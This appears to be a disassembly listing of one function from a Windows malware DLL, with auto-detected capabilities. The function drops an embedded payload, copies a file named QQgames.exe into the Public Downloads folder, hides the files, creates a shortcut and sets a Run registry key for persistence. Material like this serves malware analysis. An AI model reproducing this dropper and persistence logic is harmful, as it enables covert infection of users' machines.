Function at 0x1800070a0
Capabilities:
Check if file exists
Copy file
Create shortcut via ishelllink
Get file attributes
Persist via run registry key
Query or enumerate registry value
Set file attributes
Set registry value
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
lea r8d, [r12 + 0x19]
lea rdx, str.C:UsersPublicDocuments
lea rcx, [rbp + 0x40]
call fcn.18000ca80
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.180006690
lea rbx, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova rbx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180007139
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov r8d, 0xf
lea rdx, [0x180047330]
lea rcx, [rbp + 0x20]
call fcn.18000ca80
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180006bc0
nop
mov r14, qword [rsp + 0x50]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x1800078a4
lea r15, [rsp + 0x40]
cmp qword [rsp + 0x58], 7
cmova r15, qword [rsp + 0x40]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rsi, [r14 + 1]
mov ebx, 7
lea rdi, [rbp - 0x20]
cmp rsi, rbx
jbe 0x180007253
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x1800071e2
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x180007211
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1800078b6
add rcx, rcx
cmp rcx, 0x1000
jb 0x18000723d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800078b6
mov rcx, rax
call fcn.180011df0
test rax, rax
je 0x1800078aa
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000724f
test rcx, rcx
je 0x18000724c
call fcn.180011df0
mov rdi, rax
jmp 0x18000724f
mov rdi, r12
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rbx
lea rbx, [r14 + r14]
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.1800386b0
mov word [rbx + rdi], 0x5c
mov word [rdi + rsi*2], r12w
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 7
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.18000b9f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x180007301
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800072fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078b0
call fcn.180011de8
movdqa xmm0, xmmword [0x180047600]
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], r12w
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
mov r8d, 0x25
lea rdx, str.C:UsersPublicDownloadsQQgames.exe
lea rcx, [rbp]
call fcn.18000ca80
nop
lea rcx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rcx, qword [rbp]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [0x1800473a0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x2b0]
mov r8d, 0xd409
lea rdx, [0x18010b540]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.180006e30
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
lea r9, [0x18003b9a0]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x18003b9c0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x18000746f
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
lea r8, [rbp + 0x2c0]
lea rdx, [0x18003b9b0]
call qword [rax]
test eax, eax
js 0x180007462
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rdx, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [rcx]
mov r8d, 1
call qword [rax + 0x30]
mov rcx, qword [rbp + 0x2c0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rbx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rbx, qword [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000749f
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rbx, qword [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800074c9
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rbx, qword [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800074f3
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rbp - 0x40]
call fcn.180005de0
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.1800095b0
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000761b
mov dword [rbp + 0x2b0], 0x208
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1800472e0]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800075c7
lea r8, [rsp + 0x60]
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x78]
cmp r11, 7
cmova r8, r10
lea rax, [rbp + 0x60]
sub r8, rax
nop word [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1800075b4
add rax, 2
test ecx, ecx
jne 0x1800075a0
test edx, edx
je 0x18000760e
lea rcx, [rsp + 0x60]
cmp r11, 7
cmova rcx, r10
jmp 0x1800075dd
cmp eax, 2
jne 0x18000760e
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
mov eax, dword [rsp + 0x70]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, [0x1800472e0]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18000765d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007658
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078bc
call fcn.180011de8
movdqa xmm0, xmmword [0x180047600]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r12w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x1800076b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800076ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078c2
call fcn.180011de8
movdqa xmm0, xmmword [0x180047600]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], r12w
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x180007703
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800076fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078c8
call fcn.180011de8
movdqa xmm0, xmmword [0x180047600]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r12w
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x180007755
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007750
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078ce
call fcn.180011de8
movdqa xmm0, xmmword [0x180047600]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r12w
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x1800077a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800077a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078d4
call fcn.180011de8
movdqa xmm0, xmmword [0x180047600]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r12w
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x1800077fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800077f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078da
call fcn.180011de8
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x18000783c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007837
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800078e0
call fcn.180011de8
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r12w
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x18000788c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007887
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000789e
call fcn.180011de8
add rsp, 0x370
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.180021c30
nop
call fcn.180004880
nop
call fcn.180021c30
nop
call fcn.180021c30
nop
call fcn.1800047e0
nop
call fcn.180021c30
nop
call fcn.180021c30
nop
call fcn.180021c30
nop
call fcn.180021c30
nop
call fcn.180021c30
nop
call fcn.180021c30
nop
call fcn.180021c30
int3